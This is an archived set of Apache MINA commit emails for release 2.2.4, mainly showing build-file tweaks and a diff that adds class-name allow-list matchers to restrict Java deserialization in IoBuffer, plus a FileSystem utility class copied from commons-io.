You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@mina.apache.org by el...@apache.org on 2024/12/19 09:55:49 UTC

(mina) branch 2.2.X updated (23e6ee17b -> 4134a125d)

This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a change to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git


    from 23e6ee17b Added the SBOM generaion plugin
     new 691a9df5a pom.xml
     new 5976fe0cc o Added a maven version prerequisite o Bumped up some plugins and dependencies o Removed the useless commons-io dependency o Removed javadoc useless configuration o Bump up Java version to be use to 11 o Fixed the taglist plugin configuration o Removed the unused lifecycle-mapping plugin o Fixed the showDeprecation configuration in compiler plugin o Removed the aggregate cinfiguration for the javadoc plugin o Removed the unreachable http://static.springframework.org lin [...]
     new 6376578e7 Removed a duplicate replacer plugin declaration
     new cebf645e0 Fixed a javadoc issue
     new 2ac057904 Fixed some javadoc issue
     new 721622e9a Fixed some javadoc issue
     new 8859dd365 Removed the useless lifecycle-mapping and rat-maven-plugin plugins
     new f9cc5ada6 Added some control on the classes that can be deserialized
     new 47789bb50 git commit -m "Added a info in the files' header indicating that those classes are from commons-io"
     new 97918866b Added some missing spaces
     new 06a51073e Rollbacked maven source plugin to 3.2.1, because since 3.3.0 the build fails
     new b1dc83a3a Fixed some javadoc issues
     new f58344115 Fixed some compilation issues
     new 859e7aaa6 Fixed a bad @link
     new 252130da0 Solved some link issues
     new 625a52405 Trying to get maven source plugin to the latest version
     new bfb75f249 Rollbacked to source plugin 3.2.1
     new ccc85e38a Fixing another link issue
     new 4134a125d [maven-release-plugin] prepare release 2.2.4

The 19 revisions listed above as "new" are entirely new to this
repository and will be described in separate emails.  The revisions
listed as "add" were already present in the repository and have only
been added to this reference.


Summary of changes:
 distribution/pom.xml                               |   2 +-
 mina-core/pom.xml                                  |   5 +-
 mina-core/{pom.xml => pom.xml.releaseBackup}       |   3 +-
 mina-core/{pom.xml => pom.xml.tag}                 |   5 +-
 .../apache/mina/core/buffer/AbstractIoBuffer.java  | 109 ++++-
 .../java/org/apache/mina/core/buffer/IoBuffer.java |  40 +-
 .../apache/mina/core/buffer/IoBufferWrapper.java   |  37 ++
 .../mina/core/buffer/matcher/ClassNameMatcher.java |  32 +-
 .../mina/core/buffer/matcher/FileSystem.java       | 528 +++++++++++++++++++++
 .../mina/core/buffer/matcher/FilenameUtils.java    | 177 +++++++
 .../core/buffer/matcher/FullClassNameMatcher.java  |  42 +-
 .../apache/mina/core/buffer/matcher/IOCase.java    | 277 +++++++++++
 .../buffer/matcher/RegexpClassNameMatcher.java     |  58 +++
 .../buffer/matcher/WildcardClassNameMatcher.java   |  37 +-
 .../mina/core/session/AbstractIoSession.java       |   4 +
 .../mina/core/write/DefaultWriteRequest.java       |   2 +
 .../ObjectSerializationCodecFactory.java           |  38 ++
 .../serialization/ObjectSerializationDecoder.java  |  44 ++
 .../java/org/apache/mina/filter/ssl/SslFilter.java |   2 +-
 .../transport/socket/nio/NioSocketAcceptor.java    |   2 +-
 .../org/apache/mina/core/buffer/IoBufferTest.java  |  63 ++-
 mina-example/pom.xml                               |  13 +-
 .../org/apache/mina/example/rce/MinaClient.java    |  35 ++
 .../org/apache/mina/example/rce/MinaServer.java    |  63 +++
 .../org/apache/mina/example/rce/Reflections.java   |  92 ++++
 mina-filter-compression/pom.xml                    |   2 +-
 mina-http/pom.xml                                  |   2 +-
 mina-integration-beans/pom.xml                     |   2 +-
 mina-integration-jmx/pom.xml                       |   2 +-
 mina-integration-ognl/pom.xml                      |   2 +-
 mina-integration-xbean/pom.xml                     |  31 +-
 mina-legal/pom.xml                                 |   2 +-
 mina-statemachine/pom.xml                          |   2 +-
 mina-transport-apr/pom.xml                         |   2 +-
 mina-transport-serial/pom.xml                      |   2 +-
 pom.xml                                            | 120 ++---
 36 files changed, 1688 insertions(+), 191 deletions(-)
 copy mina-core/{pom.xml => pom.xml.releaseBackup} (98%)
 copy mina-core/{pom.xml => pom.xml.tag} (97%)
 copy mina-example/src/main/java/org/apache/mina/example/haiku/HaikuValidator.java => mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java (54%)
 create mode 100644 mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
 create mode 100644 mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FilenameUtils.java
 copy mina-example/src/main/java/org/apache/mina/example/haiku/HaikuValidatorIoHandler.java => mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FullClassNameMatcher.java (50%)
 create mode 100644 mina-core/src/main/java/org/apache/mina/core/buffer/matcher/IOCase.java
 create mode 100644 mina-core/src/main/java/org/apache/mina/core/buffer/matcher/RegexpClassNameMatcher.java
 copy mina-example/src/main/java/org/apache/mina/example/haiku/HaikuValidatorIoHandler.java => mina-core/src/main/java/org/apache/mina/core/buffer/matcher/WildcardClassNameMatcher.java (50%)
 create mode 100644 mina-example/src/main/java/org/apache/mina/example/rce/MinaClient.java
 create mode 100644 mina-example/src/main/java/org/apache/mina/example/rce/MinaServer.java
 create mode 100644 mina-example/src/main/java/org/apache/mina/example/rce/Reflections.java


(mina) 11/19: Rollbacked maven source plugin to 3.2.1, because since 3.3.0 the build fails

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 06a51073ebddd1a969ba50ea41e8bb262c065169
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Thu Dec 19 09:30:59 2024 +0100

    Rollbacked maven source plugin to 3.2.1, because since 3.3.0 the build fails
---
 pom.xml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pom.xml b/pom.xml
index ec578d2ae..1b60deae7 100644
--- a/pom.xml
+++ b/pom.xml
@@ -135,7 +135,7 @@
     <version.resources.plugin>3.3.1</version.resources.plugin>
     <version.scm.plugin>2.1.0</version.scm.plugin>
     <version.site.plugin>4.0.0-M16</version.site.plugin>
-    <version.source.plugin>3.3.1</version.source.plugin>
+    <version.source.plugin>3.2.1</version.source.plugin>
     <version.shade.plugin>3.5.0</version.shade.plugin>
     <version.surefire.plugin>3.5.2</version.surefire.plugin>
     <version.surfire.report.plugin>3.5.2</version.surfire.report.plugin>


(mina) 10/19: Added some missing spaces

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 97918866b79f35bcf00a5e7090e02c15ab82b1db
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Mon Dec 16 09:37:03 2024 +0100

    Added some missing spaces
---
 .../java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java    | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java
index cfbaea239..83fac7045 100644
--- a/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java
+++ b/mina-core/src/main/java/org/apache/mina/transport/socket/nio/NioSocketAcceptor.java
@@ -258,7 +258,7 @@ implements SocketAcceptor {
     protected ServerSocketChannel open(SocketAddress localAddress) throws Exception {
         // Creates the listening ServerSocket
 
-    SocketSessionConfig config = this.getSessionConfig();
+        SocketSessionConfig config = this.getSessionConfig();
     
         ServerSocketChannel channel = null;
 


(mina) 01/19: pom.xml

Posted by el...@apache.org.
This is an automated email from the ASF dual-hosted git repository.

elecharny pushed a commit to branch 2.2.X
in repository https://gitbox.apache.org/repos/asf/mina.git

commit 691a9df5a0aff0dddeedc5181f6e5832ee90dcea
Author: emmanuel lecharny <el...@apache.org>
AuthorDate: Mon Nov 4 12:06:06 2024 +0100

    pom.xml
---
 mina-core/pom.xml                                  |   2 +-
 .../apache/mina/core/buffer/AbstractIoBuffer.java  |  79 +++-
 .../java/org/apache/mina/core/buffer/IoBuffer.java |  30 ++
 .../apache/mina/core/buffer/IoBufferWrapper.java   |  29 ++
 .../mina/core/buffer/matcher/ClassNameMatcher.java |  32 ++
 .../mina/core/buffer/matcher/FileSystem.java       | 526 +++++++++++++++++++++
 .../mina/core/buffer/matcher/FilenameUtils.java    | 174 +++++++
 .../core/buffer/matcher/FullClassNameMatcher.java  |  48 ++
 .../apache/mina/core/buffer/matcher/IOCase.java    | 275 +++++++++++
 .../buffer/matcher/RegexpClassNameMatcher.java     |  56 +++
 .../buffer/matcher/WildcardClassNameMatcher.java   |  45 ++
 .../org/apache/mina/core/buffer/IoBufferTest.java  |   6 +-
 pom.xml                                            |  13 +-
 13 files changed, 1308 insertions(+), 7 deletions(-)

diff --git a/mina-core/pom.xml b/mina-core/pom.xml
index 73c89ef53..c3d5a1b20 100644
--- a/mina-core/pom.xml
+++ b/mina-core/pom.xml
@@ -32,6 +32,7 @@
   <packaging>bundle</packaging>
 
   <dependencies>
+    <!-- Test dependencies -->
     <dependency>
       <groupId>org.easymock</groupId>
       <artifactId>easymock</artifactId>
@@ -112,4 +113,3 @@
     </plugins>
   </build>
 </project>
-
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
index 54d068c4f..bd80469e9 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/AbstractIoBuffer.java
@@ -43,8 +43,18 @@ import java.nio.charset.CharsetDecoder;
 import java.nio.charset.CharsetEncoder;
 import java.nio.charset.CoderResult;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.EnumSet;
+import java.util.List;
 import java.util.Set;
+import java.util.regex.Pattern;
+import java.util.stream.Stream;
+
+import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.FullClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher;
+
 
 /**
  * A base implementation of {@link IoBuffer}. This implementation assumes that
@@ -80,6 +90,9 @@ public abstract class AbstractIoBuffer extends IoBuffer {
     /** A mask for an int */
     private static final long INT_MASK = 0xFFFFFFFFL;
 
+    private final List<ClassNameMatcher> acceptMatchers = new ArrayList<>();
+    private final List<ClassNameMatcher> rejectMatchers = new ArrayList<>();
+
     /**
      * We don't have any access to Buffer.markValue(), so we need to track it down,
      * which will cause small extra overhead.
@@ -2182,6 +2195,8 @@ public abstract class AbstractIoBuffer extends IoBuffer {
             @Override
             protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
                 Class<?> clazz = desc.forClass();
+                
+                String[] classes = new String[] {"java.util.Date", "long", "java.util.ArrayList"};
 
                 if (clazz == null) {
                     String name = desc.getName();
@@ -2191,10 +2206,25 @@ public abstract class AbstractIoBuffer extends IoBuffer {
                         return super.resolveClass(desc);
                     }
                 } else {
-                    return clazz;
+                    boolean found = false;
+                    String className = desc.getName();
+                    
+                    for (ClassNameMatcher matcher : acceptMatchers) {
+                        if (matcher.matches(className)) {
+                            found = true;
+                            break;
+                        }
+                    }
+
+                    if (found) {
+                        return clazz;
+                    }
+                    
+                    throw new ClassNotFoundException();
                 }
             }
         }) {
+            //((ValidatingObjectInputStream)in).accept(Date.class, long.class, ArrayList.class);
             return in.readObject();
         } catch (IOException e) {
             throw new BufferDataException(e);
@@ -2747,4 +2777,51 @@ public abstract class AbstractIoBuffer extends IoBuffer {
             throw new IllegalArgumentException("fieldSize cannot be negative: " + fieldSize);
         }
     }
+
+    /**
+     * Accept the specified classes for deserialization, unless they
+     * are otherwise rejected.
+     *
+     * @param classes Classes to accept
+     * @return this object
+     */
+    public IoBuffer accept(Class<?>... classes) {
+        for (Class<?> clazz:classes) {
+            acceptMatchers.add(new FullClassNameMatcher(clazz.getName()));
+        }
+
+        return this;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(ClassNameMatcher m) {
+        acceptMatchers.add(m);
+        
+        return this;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(Pattern pattern) {
+        acceptMatchers.add(new RegexpClassNameMatcher(pattern));
+        
+        return this;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(String... patterns) {
+        for (String pattern:patterns) {
+            acceptMatchers.add(new WildcardClassNameMatcher(pattern));
+        }
+        
+        return this;
+    }
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
index 1ac600d85..6cda800cb 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBuffer.java
@@ -36,7 +36,9 @@ import java.nio.charset.CharsetDecoder;
 import java.nio.charset.CharsetEncoder;
 import java.util.EnumSet;
 import java.util.Set;
+import java.util.regex.Pattern;
 
+import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
 import org.apache.mina.core.session.IoSession;
 
 /**
@@ -2107,4 +2109,32 @@ public abstract class IoBuffer implements Comparable<IoBuffer> {
      * @return the modified IoBuffer
      */
     public abstract <E extends Enum<E>> IoBuffer putEnumSetLong(int index, Set<E> set);
+    
+    /**
+     * Accept class names where the supplied ClassNameMatcher matches for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param m the matcher to use
+     * @return this object
+     */
+    public abstract IoBuffer accept(ClassNameMatcher m);
+
+    /**
+     * Accept class names that match the supplied pattern for
+     * deserialization, unless they are otherwise rejected.
+     *
+     * @param pattern standard Java regexp
+     * @return this object
+     */
+    public abstract IoBuffer accept(Pattern pattern);
+
+    /**
+     * Accept the wildcard specified classes for deserialization,
+     * unless they are otherwise rejected.
+     *
+     * @param patterns Wildcard file name patterns as defined by
+     *                  {@link org.apache.commons.io.FilenameUtils#wildcardMatch(String, String) FilenameUtils.wildcardMatch}
+     * @return this object
+     */
+    public abstract IoBuffer accept(String... patterns);
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
index 437483fb8..e53081103 100644
--- a/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/IoBufferWrapper.java
@@ -34,6 +34,11 @@ import java.nio.charset.CharacterCodingException;
 import java.nio.charset.CharsetDecoder;
 import java.nio.charset.CharsetEncoder;
 import java.util.Set;
+import java.util.regex.Pattern;
+
+import org.apache.mina.core.buffer.matcher.ClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.RegexpClassNameMatcher;
+import org.apache.mina.core.buffer.matcher.WildcardClassNameMatcher;
 
 /**
  * A {@link IoBuffer} that wraps a buffer and proxies any operations to it.
@@ -1535,4 +1540,28 @@ public class IoBufferWrapper extends IoBuffer {
         buf.putUnsigned(index, value);
         return this;
     }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(ClassNameMatcher m) {
+        return buf.accept(m);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(Pattern pattern) {
+        return buf.accept(pattern);
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public IoBuffer accept(String... patterns) {
+        return buf.accept(patterns);
+    }
 }
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java
new file mode 100644
index 000000000..44da8ff77
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/ClassNameMatcher.java
@@ -0,0 +1,32 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+/**
+ * An object that matches a Class name to a condition.
+ */
+public interface ClassNameMatcher {
+    /**
+     * Returns {@code true} if the supplied class name matches this object's condition.
+     *
+     * @param className fully qualified class name
+     * @return {@code true} if the class name matches this object's condition
+     */
+    boolean matches(String className);
+}
\ No newline at end of file
diff --git a/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
new file mode 100644
index 000000000..38212c791
--- /dev/null
+++ b/mina-core/src/main/java/org/apache/mina/core/buffer/matcher/FileSystem.java
@@ -0,0 +1,526 @@
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements.  See the NOTICE file distributed with
+ * this work for additional information regarding copyright ownership.
+ * The ASF licenses this file to You under the Apache License, Version 2.0
+ * (the "License"); you may not use this file except in compliance with
+ * the License.  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.mina.core.buffer.matcher;
+
+import java.util.Arrays;
+import java.util.Locale;
+import java.util.Objects;
+
+/**
+ * Abstracts an OS' file system details, currently supporting the single use case of converting a file name String to a
+ * legal file name with {@link #toLegalFileName(String, char)}.
+ * <p>
+ * The starting point of any operation is {@link #getCurrent()} which gets you the enum for the file system that matches
+ * the OS hosting the running JVM.
+ * </p>
+ *
+ * @since 2.7
+ */
+public enum FileSystem {
+
+    /**
+     * Generic file system.
+     */
+    GENERIC(4096, false, false, Integer.MAX_VALUE, Integer.MAX_VALUE, new int[] { 0 }, new String[] {}, false, false, '/'),
+
+    /**
+     * Linux file system.
+     */
+    LINUX(8192, true, true, 255, 4096, new int[] {
+            // KEEP THIS ARRAY SORTED!
+            // @formatter:off
+            // ASCII NUL
+            0,
+             '/'
+            // @formatter:on
+    }, new String[] {}, false, false, '/'),
+
+    /**
+     * MacOS file system.
+     */
+    MAC_OSX(4096, true, true, 255, 1024, new int[] {
+            // KEEP THIS ARRAY SORTED!
+            // @formatter:off
+            // ASCII NUL
+            0,
+            '/',
+             ':'
+            // @formatter:on
+    }, new String[] {}, false, false, '/'),
+
+    /**
+     * Windows file system.
+     * <p>
+     * The reserved characters are defined in the
+     * <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file">Naming Conventions
+     * (microsoft.com)</a>.
+     * </p>
+     *
+     * @see <a href="https://docs.microsoft.com/en-us/windows/win32/fileio/naming-a-file">Naming Conventions
+     *      (microsoft.com)</a>
+     * @see <a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea#consoles">
+     *      CreateFileA function - Consoles (microsoft.com)</a>
+     */
+    WINDOWS(4096, false, true,
+            255, 32000, // KEEP THIS ARRAY SORTED!
+            new int[] {
+                    // KEEP THIS ARRAY SORTED!
+                    // @formatter:off
+                    // ASCII NUL
+                    0,
+                    // 1-31 may be allowed in file streams
+                    1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28,
+                    29, 30, 31,
+                    '"', '*', '/', ':', '<', '>', '?', '\\', '|'
+                    // @formatter:on
+            }, new String[] { "AUX", "COM1", "COM2", "COM3", "COM4", "COM5", "COM6", "COM7", "COM8", "COM9", "CON", "CONIN$", "CONOUT$",
+                            "LPT1", "LPT2", "LPT3", "LPT4", "LPT5", "LPT6", "LPT7", "LPT8", "LPT9", "NUL", "PRN" }, true, true, '\\');
+
+    /**
+     * <p>
+     * Is {@code true} if this is Linux.
+     * </p>
+     * <p>
+     * The field will return {@code false} if {@code OS_NAME} is {@code null}.
+     * </p>
+     */
+    private static final boolean IS_OS_LINUX = getOsMatchesName("Linux");
+
+    /**
+     * <p>
+     * Is {@code true} if this is Mac.
+     * </p>
+     * <p>
+     * The field will return {@code false} if {@code OS_NAME} is {@code null}.
+     * </p>
+     */
+    private static final boolean IS_OS_MAC = getOsMatchesName("Mac");
+
+    /**
+     * The prefix String for all Windows OS.
+     */
+    private static final String OS_NAME_WINDOWS_PREFIX = "Windows";
+
+    /**
+     * <p>
+     * Is {@code true} if this is Windows.
+     * </p>
+     * <p>
+     * The field will return {@code false} if {@code OS_NAME} is {@code null}.
+     * </p>
+     */
+    private static final boolean IS_OS_WINDOWS = getOsMatchesName(OS_NAME_WINDOWS_PREFIX);
+
+    /**
+     * The current FileSystem.
+     */
+    private static final FileSystem CURRENT = current();
+
+    /**
+     * Gets the current file system.
+     *
+     * @return the current file system
+     */
+    private static FileSystem current() {
+        if (IS_OS_LINUX) {
+            return LINUX;
+        }
+        if (IS_OS_MAC) {
+            return MAC_OSX;
+        }
+        if (IS_OS_WINDOWS) {
+            return WINDOWS;
+        }
+        return GENERIC;
+    }
+
+    /**
+     * Gets the current file system.
+     *
+     * @return the current file system
+     */
+    public static FileSystem getCurrent() {
+        return CURRENT;
+    }
+
+    /**
+     * Decides if the operating system matches.
+     *
+     * @param osNamePrefix
+     *            the prefix for the os name
+     * @return true if matches, or false if not or can't determine
+     */
+    private static boolean getOsMatchesName(final String osNamePrefix) {
+        return isOsNameMatch(getSystemProperty("os.name"), osNamePrefix);
+    }
+
+    /**
+     * <p>
+     * Gets a System property, defaulting to {@code null} if the property cannot be read.
+     * </p>
+     * <p>
+     * If a {@link SecurityException} is caught, the return value is {@code null} and a message is written to
+     * {@code System.err}.
+     * </p>
+     *
+     * @param property
+     *            the system property name
+     * @return the system property value or {@code null} if a security problem occurs
+     */
+    private static String getSystemProperty(final String property) {
+        try {
+            return System.getProperty(property);
+        } catch (final SecurityException ex) {
+            // we are not allowed to look at this property
+            System.err.println("Caught a SecurityException reading the system property '" + property
+                    + "'; the SystemUtils property value will default to null.");
+            return null;
+        }
+    }
+
+    /**
+     * Copied from Apache Commons Lang CharSequenceUtils.
+     *
+     * Returns the index within {@code cs} of the first occurrence of the
+     * specified character, starting the search at the specified index.
+     * <p>
+     * If a character with value {@code searchChar} occurs in the
+     * character sequence represented by the {@code cs}
+     * object at an index no smaller than {@code start}, then
+     * the index of the first such occurrence is returned. For values
+     * of {@code searchChar} in the range from 0 to 0xFFFF (inclusive),
+     * this is the smallest value <i>k</i> such that:
+     * </p>
+     * <blockquote><pre>
+     * (this.charAt(<i>k</i>) == searchChar) &amp;&amp; (<i>k</i> &gt;= start)
+     * </pre></blockquote>
+     * is true. For other values of {@code searchChar}, it is the
+     * smallest value <i>k</i> such that:
+     * <blockquote><pre>
+     * (this.codePointAt(<i>k</i>) == searchChar) &amp;&amp; (<i>k</i> &gt;= start)
+     * </pre></blockquote>
+     * <p>
+     * is true. In either case, if no such character occurs inm {@code cs}
+     * at or after position {@code start}, then
+     * {@code -1} is returned.
+     * </p>
+     * <p>
+     * There is no restriction on the value of {@code start}. If it
+     * is negative, it has the same effect as if it were zero: the entire
+     * {@link CharSequence} may be searched. If it is greater than
+     * the length of {@code cs}, it has the same effect as if it were
+     * equal to the length of {@code cs}: {@code -1} is returned.
+     * </p>
+     * <p>All indices are specified in {@code char} values
+     * (Unicode code units).
+     * </p>
+     *
+     * @param cs  the {@link CharSequence} to be processed, not null
+     * @param searchChar  the char to be searched for
+     * @param start  the start index, negative starts at the string start
+     * @return the index where the search char was found, -1 if not found
+     * @since 3.6 updated to behave more like {@link String}
+     */
+    private static int indexOf(final CharSequence cs, final int searchChar, int start) {
+        if (cs instanceof String) {
+            return ((String) cs).indexOf(searchChar, start);
+        }
+        final int sz = cs.length();
+        if (start < 0) {
+            start = 0;
+        }
+        if (searchChar < Character.MIN_SUPPLEMENTARY_CODE_POINT) {
+            for (int i = start; i < sz; i++) {
+                if (cs.charAt(i) == searchChar) {
+                    return i;
+                }
+            }
+            return -1;
+        }
+        //supplementary characters (LANG1300)
+        if (searchChar <= Character.MAX_CODE_POINT) {
+            final char[] chars = Character.toChars(searchChar);
+            for (int i = start; i < sz - 1; i++) {
+                final char high = cs.charAt(i);
+                final char low = cs.charAt(i + 1);
+                if (high == chars[0] && low == chars[1]) {
+                    return i;
+                }
+            }
+        }
+        return -1;
+    }
+
+    /**
+     * Decides if the operating system matches.
+     * <p>
+     * This method is package private instead of private to support unit test invocation.
+     * </p>
+     *
+     * @param osName
+     *            the actual OS name
+     * @param osNamePrefix
+     *            the prefix for the expected OS name
+     * @return true if matches, or false if not or can't determine
+     */
+    private static boolean isOsNameMatch(final String osName, final String osNamePrefix) {
+        if (osName == null) {
+            return false;
+        }
+        return osName.toUpperCase(Locale.ROOT).startsWith(osNamePrefix.toUpperCase(Locale.ROOT));
+    }
+
+    /**
+     * Null-safe replace.
+     *
+     * @param path the path to be changed, null ignored.
+     * @param oldChar the old character.
+     * @param newChar the new character.
+     * @return the new path.
+     */
+    private static String replace(final String path, final char oldChar, final char newChar) {
+        return path == null ? null : path.replace(oldChar, newChar);
+    }
+
+    private final int blockSize;
+    private final boolean casePreserving;
+    private final boolean caseSensitive;
+    private final int[] illegalFileNameChars;
+    private final int maxFileNameLength;
+    private final int maxPathLength;
+    private final String[] reservedFileNames;
+    private final boolean reservedFileNamesExtensions;
+    private final boolean supportsDriveLetter;
+    private final char nameSeparator;
+    private final char nameSeparatorOther;
+
+    /**
+     * Constructs a new instance.
+     *
+     * @param blockSize file allocation block size in bytes.
+     * @param caseSensitive Whether this file system is case-sensitive.
+     * @param casePreserving Whether this file system is case-preserving.
+     * @param maxFileLength The maximum length for file names. The file name does not include folders.
+     * @param maxPathLength The maximum length of the path to a file. This can include folders.
+     * @param illegalFileNameChars Illegal characters for this file system.
+     * @param reservedFileNames The reserved file names.
+     * @param reservedFileNamesExtensions TODO
+     * @param supportsDriveLetter Whether this file system support driver letters.
+     * @param nameSeparator The name separator, '\\' on Windows, '/' on Linux.
+     */
+    FileSystem(final int blockSize, final boolean caseSensitive, final boolean casePreserving,
+        final int maxFileLength, final int maxPathLength, final int[] illegalFileNameChars,
+        final String[] reservedFileNames, final boolean reservedFileNamesExtensions, final boolean supportsDriveLetter, final char nameSeparator) {
+        this.blockSize = blockSize;
+        this.maxFileNameLength = maxFileLength;
+        this.maxPathLength = maxPathLength;
+        this.illegalFileNameChars = Objects.requireNonNull(illegalFileNameChars, "illegalFileNameChars");
+        this.reservedFileNames = Objects.requireNonNull(reservedFileNames, "reservedFileNames");
+        this.reservedFileNamesExtensions = reservedFileNamesExtensions;
+        this.caseSensitive = caseSensitive;
+        this.casePreserving = casePreserving;
+        this.supportsDriveLetter = supportsDriveLetter;
+        this.nameSeparator = nameSeparator;
+        this.nameSeparatorOther = FilenameUtils.flipSeparator(nameSeparator);
+    }
+
+    /**
+     * Gets the file allocation block size in bytes.
+     * @return the file allocation block size in bytes.
+     *
+     * @since 2.12.0
+     */
+    public int getBlockSize() {
+        return blockSize;
+    }
+
+    /**
+     * Gets a cloned copy of the illegal characters for this file system.
+     *
+     * @return the illegal characters for this file system.
+     */
+    public char[] getIllegalFileNameChars() {
+        final char[] chars = new char[illegalFileNameChars.length];
+        for (int i = 0; i < illegalFileNameChars.length; i++) {
+            chars[i] = (char) illegalFileNameChars[i];
+        }
+        return chars;
+    }
+
+    /**
+     * Gets a cloned copy of the illegal code points for this file system.
+     *
+     * @return the illegal code points for this file system.
+     * @since 2.12.0
+     */
+    public int[] getIllegalFileNameCodePoints() {
+        return this.illegalFileNameChars.clone();
+    }
+
+    /**
+     * Gets the maximum length for file names. The file name does not include folders.
+     *
+     * @return the maximum length for file names.
+     */
+    public int getMaxFileNameLength() {
+        return maxFileNameLength;
+    }
+
+    /**
+     * Gets the maximum length of the path to a file. This can include folders.
+     *
+     * @return the maximum length of the path to a file.
+     */
+    public int getMaxPathLength() {
+        return maxPathLength;
+    }
+
+    /**
+     * Gets the name separator, '\\' on Windows, '/' on Linux.
+     *
+     * @return '\\' on Windows, '/' on Linux.
+     *
+     * @since 2.12.0
+     */
+    public char getNameSeparator() {
+        return nameSeparator;
+    }
+
+    /**
+     * Gets a cloned copy of the reserved file names.
+     *
+     * @return the reserved file names.
+     */
+    public String[] getReservedFileNames() {
+        return reservedFileNames.clone();
+    }
+
+    /**
+     * Tests whether this file system preserves case.
+     *
+     * @return Whether this file system preserves case.
+     */
+    public boolean isCasePreserving() {
+        return casePreserving;
+    }
+
+    /**
+     * Tests whether this file system is case-sensitive.
+     *
+     * @return Whether this file system is case-sensitive.
+     */
+    public boolean isCaseSensitive() {
+        return caseSensitive;
+    }
+
+    /**
+     * Tests if the given character is illegal in a file name, {@code false} otherwise.
+     *
+     * @param c
+     *            the character to test
+     * @return {@code true} if the given character is illegal in a file name, {@code false} otherwise.
+     */
+    private boolean isIllegalFileNameChar(final int c) {
+        return Arrays.binarySearch(illegalFileNameChars, c) >= 0;
+    }
+
+    /**
+     * Tests if a candidate file name (without a path) such as {@code "filename.ext"} or {@code "filename"} is a
+     * potentially legal file name. If the file name length exceeds {@link #getMaxFileNameLength()}, or if it contains
